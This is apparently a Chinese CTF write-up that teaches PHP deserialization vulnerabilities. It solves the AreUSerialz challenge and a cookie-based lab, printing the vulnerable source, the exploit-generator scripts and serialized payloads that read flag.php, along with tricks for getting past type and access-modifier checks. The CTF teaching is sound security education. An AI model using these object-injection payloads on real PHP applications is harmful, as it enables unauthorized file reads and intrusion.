反序列化漏洞
这玩意在实战里面还是比较难触发的,黑盒测试似乎不太可能,ctf中倒是遇到比较多,实战中比较出名的有weblogic的反序列化漏洞
PHP反序列化
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行、SQL注入、目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法
- serialize()        //将对象转化为字符串,运行的时候会调用_sleep()函数
- unserialize()     //将字符串转化为对象,运行的时候会调用_wakeup()函数
O:3:”abc”:2:{s:4:”name”;i:2:”19”;}
当出现的是有类的序列化的时候,还要注意以下这些函数
- _construct()     //构造函数
- _destruct()      //析构函数
- _call()            //在对象上下文中调用不可访问的方法时触发
- _callStatic()    //在静态上下问中调用不可访问的方法时触发
- _get()           //用于从不可访问的属性读取数据
- _set()          //用于将数据写入不可访问的属性
- _isset()       //在不可访问的属性上调用isset()或empty()触发
- __toString()   //可以定义输出类的内容
[网鼎杯 2020 青龙组]AreUSerialz
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 
 | <?php
 include("flag.php");
 
 highlight_file(__FILE__);
 
 class FileHandler {
 
 protected $op;
 protected $filename;
 protected $content;
 
 function __construct() {
 $op = "1";
 $filename = "/tmp/tmpfile";
 $content = "Hello World!";
 $this->process();
 }
 
 public function process() {
 if($this->op == "1") {
 $this->write();
 } else if($this->op == "2") {
 $res = $this->read();
 $this->output($res);
 } else {
 $this->output("Bad Hacker!");
 }
 }
 
 private function write() {
 if(isset($this->filename) && isset($this->content)) {
 if(strlen((string)$this->content) > 100) {
 $this->output("Too long!");
 die();
 }
 $res = file_put_contents($this->filename, $this->content);
 if($res) $this->output("Successful!");
 else $this->output("Failed!");
 } else {
 $this->output("Failed!");
 }
 }
 
 private function read() {
 $res = "";
 if(isset($this->filename)) {
 $res = file_get_contents($this->filename);
 }
 return $res;
 }
 
 private function output($s) {
 echo "[Result]: <br>";
 echo $s;
 }
 
 function __destruct() {
 if($this->op === "2")
 $this->op = "1";
 $this->content = "";
 $this->process();
 }
 
 }
 
 function is_valid($s) {
 for($i = 0; $i < strlen($s); $i++)
 if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
 return false;
 return true;
 }
 
 if(isset($_GET{'str'})) {
 
 $str = (string)$_GET['str'];
 if(is_valid($str)) {
 $obj = unserialize($str);
 }
 
 }
 
 | 
首先看输出flag的地方,源码里面只有一个地方可以
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | else if($this->op == "2") {$res = $this->read();
 $this->output($res);
 
 private function read() {
 $res = "";
 if(isset($this->filename)) {
 $res = file_get_contents($this->filename);
 }
 return $res;
 }
 
 
 | 
这里process()这个函数很重要,在构造函数和析构函数都调用了一次
然后由于那个判断语句,我们要把op设为2才行,若为1,会运行write()函数覆盖filename文件的内容
这里只需要管析构函数那里
| 12
 3
 4
 5
 6
 
 | function __destruct() {if($this->op === "2")
 $this->op = "1";
 $this->content = "";
 $this->process();
 }
 
 | 
可以看到这里进行了一个强比较,若是发现op是2,会赋值为1,但是我们后面在process()中还需要op等于2,这里有一个小细节,process()里面的比较是==,而===和==的区别就是===还要比较类型,所以我们这里把op赋值成数字就可以,最后的解题
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | <?phpclass FileHandler{
 public $op=2;
 public $filename="flag.php";
 public $content = "";
 }
 $a=new FileHandler;
 $b=serialize($a);
 echo $b;
 ?>
 
 | 
构造str?=O:11:”FileHandler”:3:{s:2:”op”;i:2;s:8:”filename”;s:8:”flag.php”;s:7:”content”;s:0:””;}
查看源码就得到flag了,这里还有一个地方要注意,为什么使用public
1、is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化后会出现不可见字符\00*\00,转化为ASCII码不符合要求。
绕过方法:
①PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过
②private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。
三种访问控制的区别
public: 变量名
protected: \x00 + * + \x00 + 变量名(或 \00 + * + \00 + 变量名 或 %00 + * + %00 + 变量名)
private: \x00 + 类名 + \x00 + 变量名(或 \00 + 类名 + \00 + 变量名 或 %00 + 类名 + %00 + 变量名)
注:>=php v7.2 反序列化对访问类别不敏感(protected -> public)
靶场
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 
 | <?phpClass readme{
 public function __toString()
 {
 return highlight_file('Readme.txt', true).highlight_file($this->source, true);
 }
 }
 if(isset($_GET['source'])){
 $s = new readme();
 $s->source = __FILE__;
 echo $s;
 exit;
 }
 
 if(isset($_COOKIE['todos'])){
 $c = $_COOKIE['todos'];
 $h = substr($c, 0, 32);
 $m = substr($c, 32);
 if(md5($m) === $h){
 $todos = unserialize($m);
 }
 }
 if(isset($_POST['text'])){
 $todo = $_POST['text'];
 $todos[] = $todo;
 $m = serialize($todos);
 $h = md5($m);
 setcookie('todos', $h.$m);
 header('Location: '.$_SERVER['REQUEST_URI']);
 exit;
 }
 ?>
 <html>
 <head>
 </head>
 
 <h1>Readme</h1>
 <a href="?source"><h2>Check Code</h2></a>
 <ul>
 <?php foreach($todos as $todo):?>
 <li><?=$todo?></li>
 <?php endforeach;?>
 </ul>
 
 <form method="post" href=".">
 <textarea name="text"></textarea>
 <input type="submit" value="store">
 </form>
 
 | 
这里直接看POST那里的内容就可以了
这里把post的内容分成两个部分,一个是m一个是h,这里的m是要进行一个序列化操作的,而h则要进行一个比较,要求与m相同,于是我们可以编写一个程序
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | <?phpClass readme{
 public function __toString()
 {
 return highlight_file('Readme.txt', true).highlight_file($this->source, true);
 }
 }
 $s = new readme();
 $s->source = "flag.php";
 $s = [$s];
 $a=md5(serialize($s));
 echo $a.serialize($s);
 ?>
 
 | 
直接post
e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:”readme”:1:{s:6:”source”;s:8:”flag.php”;}}
然后修改cookie得到flag